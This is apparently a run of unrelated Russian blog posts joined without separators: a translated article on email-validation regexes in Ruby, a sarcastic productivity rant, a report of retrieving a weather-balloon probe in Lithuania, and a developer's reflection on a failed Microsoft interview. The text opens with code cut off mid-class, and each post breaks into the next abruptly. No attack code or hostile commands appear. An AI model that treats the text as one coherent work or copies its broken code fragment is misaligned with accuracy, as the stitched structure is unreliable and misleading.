EMAIL_ADDRESS_QTEXT = Regexp.new '[^\\x0d\\x22\\x5c\\x80-\\xff]', nil, 'n'
EMAIL_ADDRESS_DTEXT = Regexp.new '[^\\x0d\\x5b-\\x5d\\x80-\\xff]', nil, 'n'
EMAIL_ADDRESS_ATOM = Regexp.new '[^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+', nil, 'n'
EMAIL_ADDRESS_QUOTED_PAIR = Regexp.new '\\x5c[\\x00-\\x7f]', nil, 'n'
EMAIL_ADDRESS_DOMAIN_LITERAL = Regexp.new "\\x5b(?:#{EMAIL_ADDRESS_DTEXT}|#{EMAIL_ADDRESS_QUOTED_PAIR})*\\x5d", nil, 'n'
EMAIL_ADDRESS_QUOTED_STRING = Regexp.new "\\x22(?:#{EMAIL_ADDRESS_QTEXT}|#{EMAIL_ADDRESS_QUOTED_PAIR})*\\x22", nil, 'n'
EMAIL_ADDRESS_DOMAIN_REF = EMAIL_ADDRESS_ATOM
EMAIL_ADDRESS_SUB_DOMAIN = "(?:#{EMAIL_ADDRESS_DOMAIN_REF}|#{EMAIL_ADDRESS_DOMAIN_LITERAL})"
EMAIL_ADDRESS_WORD = "(?:#{EMAIL_ADDRESS_ATOM}|#{EMAIL_ADDRESS_QUOTED_STRING})"
EMAIL_ADDRESS_DOMAIN = "#{EMAIL_ADDRESS_SUB_DOMAIN}(?:\\x2e#{EMAIL_ADDRESS_SUB_DOMAIN})*"
EMAIL_ADDRESS_LOCAL_PART = "#{EMAIL_ADDRESS_WORD}(?:\\x2e#{EMAIL_ADDRESS_WORD})*"
EMAIL_ADDRESS_SPEC = "#{EMAIL_ADDRESS_LOCAL_PART}\\x40#{EMAIL_ADDRESS_DOMAIN}"
EMAIL_ADDRESS_PATTERN = Regexp.new "#{EMAIL_ADDRESS_SPEC}", nil, 'n'
EMAIL_ADDRESS_EXACT_PATTERN = Regexp.new "\\A#{EMAIL_ADDRESS_SPEC}\\z", nil, 'n'
def validate(record)
unless record.email =~ EMAIL_ADDRESS_EXACT_PATTERN
record.errors[:email] << 'is invalid'
end
end
end
Ага. Неужели действительно нужно использовать нечто настолько сложное? Если перейти по ссылке в начале статьи, вы увидите, что люди уже многие годы пишут (или пытаются написать) регулярки для проверки email-адреса, которые бы соответствовали описанию RFC. Некоторые из них оказываются просто до смешного заумными, как в последнем примере, и все равно не пропускают некоторые корректные адреса.
О том, какой email-адрес является корректным, написано в разделах 3.2.4 и 3.4.1. Там сказано, что при наличии обратного слэша и кавычек остается не так уж много вещей, которые нельзя использовать в адресе. Локальная часть адреса (та строка, что идет перед символом @), может содержать следующие символы:
! $ & * - = ^ ` | ~ # % ' + / ? _ { }
Но знаете что? Вы можете использовать практически любой символ, какой вам заблагорассудится, если заэкранируете его кавычками. Например, вот это — вполне корректный адрес:
"Look at all these spaces!"@ example.com
Прекрасно!
По этой причине, с недавнего времени я проверяю все email-адреса следующим регулярным выражением:
class User < ActiveRecord::Base
validates_format_of :email, :with => /@/
end
Элементарно, не правда ли? В адресе должен присутствовать символ @. Как правило, этим я и ограничиваюсь. Вкупе с полем для повторного ввода адреса два этих способа позволяют отсеять львиную долю ошибок, связанных со вводом некорректных данных.
Но что, если бы я предложил вам способ проверить email на валидность, в котором вообще не используются регулярные выражения? Он неожиданно прост, и, скорее всего, вы и так его применяете.
Просто пошлите пользователю его письмо!
Нет, я не шучу. Просто пошлите пользователю письмо. Практика посылки письма с кодом активации используется уже не один год, но практически всегда она дополняется сложной проверкой адреса. Если вы все равно собираетесь отправить на этот адрес письмо, зачем возиться с огромными регулярными выражениями?
Представьте себе такой сценарий. Я регистрируюсь на вашем сайте под следующим адресом:
qwiufaisjdbvaadsjghb@gmail.com
Да ладно вам! С этой хренью ни один почтовый демон работать не станет, но форматирование в полном порядке: это же валидный email-адрес! Для решения данной проблемы вы пишете систему, которая после регистрации отправляет мне email со ссылкой, по которой я должен перейти. Это требуется для того, чтобы удостовериться, что я действительно имею доступ к почтовому ящику, на который регистрируюсь. В таком случае, зачем проверять формат адресов? Результат отправки письма на неправильный адрес будет точно такой же — письмо не примет сервер. Если пользователь ввел некорректный адрес, он не получит письмо и попытается зарегистрироваться на вашем сайте еще раз, если ему это и правда нужно. Вот и все.
Так что не налегайте на замороченные регулярные выражения. Если вы правда хотите проверять адрес прямо на форме регистрации, добавьте поле для повторного ввода. Да, некоторые пользователи просто скопируют строку из первого и вставят во второе, но даже в этом случае незачем раздувать из этого проблему. Сложная валидация регулярными выражениями — это не дополнительное решение, а только лишний геморрой.
Если же вы все равно не можете успокоиться, пока не проверите адрес на корректность, просто проверьте на наличие в нем символа @. А если чувствуете, что способны на большее — добавьте проверку на точку:
/.+@.+\..+/i
Все, что сверх этого — стрельба из пушки по воробьям.
Примечание переводчика:
Ссылку на эту статью нашел в комментарии к другому переводу. Спасибо jetman!
Низкий поклон Хабранароду!
Предисловие
Много мы все начитались и даже дочитались статьей о том, как улучшить работоспособность, эффективность и другую, простите — фигню.
Пост НЕ для тех у кого все хорошо, по крайней мере, кажется что все хорошо, е.г. праведным – не читать.
Пост можно было бы назвать еще и «реальные рекомендации по «возьми себя в руки, наконец» ».
Не верьте тем, кто пишет об эффективности, «самое время начать учиться играть на гитаре», «найдите в себе энергию делать то, другое...», это все «фигня», через пару дней все опять будет как прежде. Постарайтесь найти решение сами.
«Пункты» приведены случайным порядком, и хватит введения, просто прочтите пост, попытайтесь найти что-то себе полезное (вы обязательно найдете).
Добавить в избранное
Все мы любим читать, это так, поскольку без чтения, без учебы нам не найти хорошую работу, и не только, мы же ИТ-специалисты (программисты, тестеры, администраторы, стартаперы(?), ...), мы всегда развиваемся, мы копаем глубже, мы на дороге становления хакерами, мы и есть хакеры, просто об этом никто еще не знает (примечание: хакер используется не в смысле взломщика). Были времена, когда мы читали тонны технической литературы, нам был интересен ассемблер, нам нравилось оптимизировать код на полную катушку, мы любили доказывать теоремы, задавать себе вопросы «как это работает» и т.д. Хабр стал еще одним местом обитания. Теперь, если необходимо научиться, скажем, алгоритмам, кроме того, что мы берем/качаем толстые книги, мы еще и сохраняем (читай — букмарким) статьи из блога «Алгоритмы» в Хабре. Если вы работаете в «обычной» программисткой конторе, вы тратите от 8 часов в день на работу, стараясь как можно больше уделять время только работе, и дойдя до дома, открывая Хабр, видите много сочных и интересных статьей. По статистике (я не собирал никакую статистику, просто так лучше звучит) 80% действий по чтению статьей заканчивается кнопкой «Добавить в избранное». «Добавить в избранное» (или букмарк браузера) можно, или даже — нужно, переименовать в «Прочту потом». Вопрос – когда потом? Что значит потом? Потом – завтра, потом – в выходные, потом – во время отпуска, потом – в бункере? Сколько из вас прочитали все посты/статьи/что-то на странице отмеченные избранным? Только не надо возмущенных комментариев, мол – это ты не читаешь, я вот всегда читаю, даже в избранное не надо добавлять. Что-то похожее у вас встречалось или встречается? Совет? Никакого совета нет, это реальность – смиритесь. Но есть лазейка, и вообще, если что-то не получется прямым способом однажды, то не получится никогда, а вот лазейка есть всегда. Найди баг – и взломай проблему. Баг состоит в том, что мы можем просто не добавлять в избранное некоторое время, скажем два-три дня, и если через два-три дня мы забудем о постах/..., то и читать не придется. Если коротко, то – если по-любому читать не будешь, то почему добавлять в избранное? При этом освободится некоторая часть сознания, часть, которая помнит, что там в избранных есть несколько не прочитанных «сообщений».
Примечание: «добавить в избранное» можно использовать не в прямом смысле, то есть купля все новых интересных и полезных книг без чтения предыдущих – тоже есть «добавить в избранное», или все растущее число элементов в таск менеджере без выполнения предыдущих задач – тоже есть «добавить в избранное».
Информации слишком много
Бывала ли у вас потребность в изучении некоторой новой или сравнительно новой для вас сферы, скажем – искусственный интеллект. Допустим, вы решили в плотную заняться ИИ. Что делаем мы и что делает праведный — тот, кто рано или поздно достигнет цели (изучит ИИ в достаточной степени).
Мы
Если хватает денег, идем в книжный магазин и покупаем столько книг, сколько можно будет имея Х количество денег в кармане. Заходим в «интернет» (хотя это выражени уже не актуально, поскольку мы слишком редко вообще выходим из «интернета») и начинаем просматривать трекеры, книжные сайты и т.д., закачиваем огромное количество книг. Книга «долгая», нужно сначала кратко ознакомиться с темой, идем в Википедию или другие специализированные ресурсы (блог ИИ Хабра). Находим много, ну очень много интересных статьей, в Вики вообще случайно нажимаем на категорию «Искусственный интеллект» в нижней части первой попавшей статьи и видим еще больше статьей, о майн гот! Через пару тройку часов или дней на харде накапливается ну просто огромное количество книг и статьей. Задаемся вопросом, может будет лучше начать с каких-нибудь там видеоуроков? Ну как раньше не подумал, в общем начинается поиск соответствующих видеоуроков – на диске уже нет места. И так далее. Проходит день, два, неделя, месяц, мы так и не начинаем изучение, а все свободное время тратим на просматривание «с чего начать»?
Праведный
Заходит на амазон, находит (за несколько минут, не больше) книгу с лучшими рецензиями/рейтингом. Скачивает/покупает. Начинает читать. Только эту книгу. Потом другую, после того как закончил первую. И так далее, проходит день, два, три, неделя, месяц, праведный уже достаточно свободно «щарит» по теме.
Мораль: вы что еще ничего не поняли?
Джаст ду ит!
Хватит планирования, долгих дискусии, перерывов, проверки почты, ответа на смс, выбора идеального трека в плеере для работы, просмотра очередной серии Декстера, Хауса, Большого взрыва или что там еще. Начни работать, просто бери задачу делай, работай не в многозадачном режиме, а выполняй поочередно. Бросай чтение поста, начни прямо сейчас, не отвлекайся, да начни же наконец.
8 часов из жизни
«По стандарту» 8 часов в день мы проводим в офисе, в реальности еще час на обед, час и больше на дорогу в офис и обратно. Спать надо как минимум 6 часов (но хочется больше). В общем, свободного времени практически не бывает. Офисная жизнь, контора берет от нас 8+ часов в день за некоторую плату. Мы продажны, мы продаем себя самих, мы не лучше, чем «девушки по вызову». Ну конечно, вы можете содержать семью, идти на отдых в хорошие места, строить хорошее будущее, подняться по карьерной лестнице. Ну что я вам говорил, пост НЕ для праведных. Мы хотим, нет мы просто обязаны заниматься тем, что любим (ох завидую вам, если проект на котором вы работаете и есть ваше любимое дело). Знаю знаю, деньги-то нужны (мать их). Придумайте что-нибудь, свое дело, любимое дело, способ жизни, а не заработка.
Стартап, я хочу свой стартап
Вы серьезно? Вы что еще не выросли? Неужели вам не стыдно? Если нет, то читайте дальше. У вас есть идея, у всех она есть. Идея подцепить девушку, идея сделать красивый стол, или мы о стартапах говорили? Допустим у вас отличная идея, помните, она у всех отличная. Многие насмехаются, когда вы говорите о заработке на вашей идее, о создании стартапа по вашей идее. Вы их не слушаете. И правильно! Занимайтесь тем, что вам нравится, создайте стартап… и провалитесь! А теперь о том, как создаем стартап мы и как его создают праведные.
Мы
Находим идею, хотим узнать о стартапах немного информации (теория, саксес сторис и т.д.), находим топ 10 книг, которые должен прочитать каждый стартапер (мы случайно себя называем стартаперами, хе-хе). Гай Кавасаки, Стартап, книга просто бомба, читаем на одном дыхании, после прочтения половины вдруг появляется идея записать заметки, начинаем сначала, ищем что бы написать, что нужно знать наизусть. Через пару страниц желание отпадает, продолжаем прочтение книги (мы же остановились на половине). Книга просто супер, я хочу начать писать сайт. Что? Ееще есть книга? Какая? Rework от 37signals? Ок, читаю. Оо майн гот, книга ващее. Неделя за плечами, беремся за архитектуру, да какая там архитектура, сказали же «джаст ду ит»! Ладно, прочтем парочку статьей из Хабра о стартапах, гмм, интерсно, «добавить в избранное» (и тут вы уже поняли «оу шет»). Читаем истории успеха, Google, Amazon, Ebay, Apple, Facebook, Dropbox, … все такие разные и одновременно похожие, и такие захватывающие, «начали как дипломую», «написал первую версию в автобусе», «не имели ни гроша», «отказались продать», «отказались купить»,… Вы твердо решаете не продавать ваш стартап никогда. Ээ, простите, какой стартап? А вспомнили, мы же еще не начали. Так, идем дальше. Если нажать на эту кнопку, откроется страница «О нас», там моя фотография (I’m CEO, bitch!), я даю интервью известным каналам, обо мне пишут в журналах, у меня своя саксес стори… черт, что-то разогнался. Так, нажимаем эту кнопку, открывается....? Проверю-ка почту…
Так, стартап должен не приносить доход, а помогать людям, как моя идея поможет людям? (и тут разные легенды о том, как наш стартап помогает людям, а подсознательно мы знаем, она же просто для славы и заработка денег, опять хе-хе).
Праведный
Стартап Викенд? Это для выпендрежки. Саксес стори? Потом, все уже и так знают как дело происходило с Гугл, Фейсбук,…. Архитектура, никаких «ну ващее» фичей, только то, что необходимо. Проект займет, сейчас посчитаем… около 6 месяцев, запишем значит полтора года. Не теряем мотивацию, не летаем в облаках. Какой еще маркетинг, у меня даже продукта нет, когда будет, тогда и поговрим…
Мораль: что, действительно не поняли?
Социальное медиа
«Рефреш», «рефреш», «рефреш»… Так до бесконечности (пока глаза сами не закроются и надо спать). Как мы проводим наше свободное время, беремся за чтение, пишем код, разрабатываем потихоньку наш проект. Все схвачено, все отлично. В последний раз – пост НЕ для праведных.
Ну открываем Хабр, много интересных статьей, ресурс то и вправду уникальный! Даа, закончились. «Рефреш». Открываем «социальную сеть»(Фейсбук, Вконтакте, Одноклассники(?), ...), сообщения, нотификейшны, лента,… «Рефреш». Да, кому-то нравиться мой «шейр», лайканули. Напишем умный комментарий. «Рефреш». (Хабр открыт в соседней вкладке). Идем в Хабр. «Рефреш». «Вышла новая версия ....». Секунда-две. Читаем комменты. О, кто-то написал шутку, у него +56, напишу-ка и я что-нибудь. «Рефреш». Минус? За что? Есть ответ с сарказмом, война началась. (Спустя 30 минут). Вот кретин. «Рефреш». Идем в соц.сеть. «Рефреш». В Хабр. «Рефреш». Новоиспеченный пост, комментариев нет. Напишу-ка «Спасибо, отличная статья», получу плюсов 5. «Рефреш». И так каждый день…
Послесловие
В общем, буду краток, многим пост не понравится, а может и наоборот. По вашей реакции я пойму, нужно ли продолжать тему.
Было обычное серое утро, начало рабочей недели, вдруг, эфир командного чата сотряс наш именинник Янис, он же jamez:
On 11/1/10, at 12:27 PM, Янчик М. wrote:
> эй пипл, есть тема: http://habrahabr.ru/blogs/DIY/107313/
Расстояние небольшое, на вскидку, километров 200 в одну сторону. Эта затея вызвала большой интерес со стороны участников беседы. И сразу же выявились еще 3 человека, готовых к приключениям: justass, Lifz и popcha, которые и составили jamez'у компанию, позднее подтянулся JohnieWalker который нас штабил.
Сбор назначили на 20:00 (по местному времени, GMT+2). Провели консультации с ребятами, которые были причастны к запуску зонда. Изучили местность, судя по карте это было небольшое лесное озеро недалеко от дороги. Немного огорчил тот факт, что кто-то из местных уже побывал там днем, и ничего не нашел. С другой стороны, это увеличивало наши шансы на успех.
К поездке подготовились основательно, взяв не только самое нужное, но и много всего другого, что нам не пригодилось, полный список инвентаря выглядел так:
- ноутбук
- мобильный интернет
- два фотоаппарата
- навигационное устройство для треккинга
- сменная обувь и одежда
- веревки
- походные палки
- мачете
- метало детектор
- фонари (Fenix, Olight, SacredFire)
- много еды
- и немного удачи
Сборы начались в 20:00, а закончились в 21:30, после чего отправились в путь. Пока настраивали все необходимое на компьютере, на нескольких перекрестках повернули не в ту сторону, на этом потеряли минут 15. Сделали несколько вынужденных остановок — заправились, покурили и перед въездом в Литву изучили карту незнакомой местности, так как интернета по ту сторону границы не было. За передвижением нашего экипажа можно было следить в режиме реального времени, а маршрут нашего путешествия был таким:
Въехав на территорию соседнего государства приятно удивились, неплохие дороги (по крайней мере лучше, чем были на протяжении нашего пути по Латвии), отражатели по обе стороны дороги на протяжении всего пути. И красивый вид светящегося кладбища, в Литве отмечали День всех святых.
Приехав на место оставили авто у трассы нa специальной стоянке. Переоделись, взяли все необходимое и отправились прямо к цели. Поднявшись на холм, увидели вспаханное поле, постарались его обойти стороной. Сразу за полем был тот самый пресловутый лес, в котором, судя по данным ГПС, и был искомый предмет.
Дальше наш путь пролегал по небольшим участкам суши среди лесного озера. Оставалось чуть более 10 метров до цели. Вдали заметили парашют. К нему можно было подобраться только по воде. Глубина была где-то по колено, местами даже по пояс. Двое самых храбрых (на самом деле только у них был полный комплект сменной одежды) отправились к зонду. Зонд был цел и невредим. Погрешность координат была не более 5 метров. Зонду повезло, что он парашютом зацепился за ветки, так бы он упал прямо в воду, что сильно бы затруднило поиски.
Мокрые, но довольные вернулись к машине, переоделись, подкрепились, упаковали весь инвентарь, сделали фотку с зондом в руках, на память, и начали вскрытие объекта. Внутри мы обнаружили: часы, с выставленным временем 30 октябра 10:00, так подозреваем, что это время запуска, старую модель мобильного телефона, выключенный фотоаппарат Canon и GPS устройство, которое работало и мигало зеленым цветом, очевидно, еще работало. Вставили карту памяти из найденного фотоаппарата в наш, чтобы безопасно перекачать фотографии. Фотографий фотоаппарат сделал немного, возможно это вызвано тем, что войдя в верхние слои атмосферы напряжение в аккумуляторах упало и он выключился (при обнаружении фотоаппарата батарея в нем не была полностью разряжена).
Усталые, но довольные отправились домой в Ригу, доехали быстро, дорога заняла чуть более двух часов. Дома были уже после 5 утра. Теперь сонные сидим на работе и пишем вот этот отчет.
Архив фотографий с зонда
Не пали меня в Непале
Примерно неделю назад принимал участие в конкурсе на открытую вакансию Microsoft. И провалился. Прошла неделя, мысли в голове (как же так? не может быть!) немного улеглись и я сделал некоторые выводы из этого опыта, коими и хочу поделиться с хабражителями.
4 года назад, когда я закончил университет, я вообще не знал, кем я хочу быть. Так как в бытность свою студентом, я работал системным администратором, то и принимал участие в основном в конкурсах на подобную должность. Совершенно случайно, по совету знакомого, я попал в довольно крупную новосибирскую компанию на собеседование на должность разработчика C++. На собеседовании мне задавали очень разные вопросы (для чего нужно наследование? знаете ли вы stl?), на 90% которых я не ответил, но хорошо запомнил только один: «как перевернуть строку?». Я подумал, и написал псевдокод на ядерной смеси C++, Pascal и PHP. Мне сказали: «ну нормально… а теперь без буфера хранящего позицию середины строки...» Я ещё подумал-подумал, подумал и сдался. Мне сказали: «Мы вас берём. Выходите на работу в понедельник.»
Как мой будущий тим-лидер смог разглядеть во мне толкового (не скромно, да?) разработчика, для меня загадка до сих пор. Я его позже спрашивал, и он сказал, что другие были просто ещё хуже, да и я был не так уж плох. Сейчас, окажись я на его месте, я бы не взял, наверное, никого.
Компания в которой я работал, мне нравилась. Нам предоставляли время на поднятие собственного профессионального уровня, чтение книжек. Мы (зелень, вчерашние студенты) посещали семинары, где нам рассказывали про паттерны проектирования, объектно-ориентированный дизайн и многое другое. Через пол года, я уже не плохо оперировал языком C++. Кроме того, я осваивал средства отладки, поиска утечек памяти, профайлинг, юнит-тестирование.
Дальше у меня было ещё много мест работы… Текущее моё место работы 5-ое по счёту, включая период фриланса.
И чем больше я разбирался в различных программных системах (от банального web-сайта до CDN, от VoIP гейтвея до CRM системы), тем сильнее я ненавидел людей, которые это писали. Особенно люто я ненавидел выпускников мехмата и бывших олимпиадников. Я не понимал, для чего нужно имплементировать бинарную сортировку самому, не понимал, зачем имплементировать связный список, зачем писать рукосуйный сервис обмена сообщениями по рукосуйному-же протоколу. И мне потом приходилось разбираться с этими самопальными решениями и их поддерживать.
Для того, чтобы не портить себе карму и не вызывать ненависть коллег, я старался решить любую стандартную проблему стандартным способом. Для реализации сохранения данных в СУБД я использовал стандартную ORM (Hibernate, Doctrine) и никогда даже не пытался писать свою. Если нужно было спроектировать новую часть системы, я использовал стандартные и простые паттерны проектирования от классиков. Если нужно было реализовать отправку почты, я использовал стандартные библиотеки для этого (Java Mail API, Zend Framework). Таких стандартных решений я знаю достаточно много (и продолжаю их искать каждый день), для того, чтобы решить практически любую задачу. Я, как хороший повар, который может приготовить большое количество разнообразных блюд, знающий большое количество разнообразных рецептов.
И у меня сложилось впечатление, что хороший программист должен быть именно таким. Применять стандартные решения для стандартных задач. И чем больше таких решений он знает, тем программист лучше.
… и всё это привело к тому, что я разучился думать. На любой технический вопрос я ищу ответ в гугле. Когда на собеседовании в Microsoft меня спросили, как выбрать из int ar[n] = {...} n-1 элементов так, чтобы произведение выбранных было максимальным, на некоторое время я впал в ступор. Первый вопрос, который возник в голове: "На*уя? Зачем?" Потом я попытался вспомнить подобный алгоритм из какой-нибудь стандартной библиотеки, которых я знаю не одну… и не смог. Задачу, в конечном итоге, я решил, но видимо не так легко, как этого ожидал интервьювер.
Я не плохой стандартный программист, умеющий быстро решать стандартные задачи. Я никогда не применяю нестандартное решение, до тех пор пока не изучу всю выдачу гугла до последней страницы. Я вообще не люблю писать исполняемый код, потому что я в нём постоянно делаю ошибки, которые потом нужно искать и исправлять. Я люблю дописывать xml-ные конфиги, идущие в пакете от разработчика.
Я стандартный программист. И это, пожалуй, даже не плохо. Но решать нестандартные инженерные задачи уже не могу с такой лёгкостью, как 4 года назад с совершенно пустой головой, не загруженной десятками тысяч страниц различных книг и мануалов.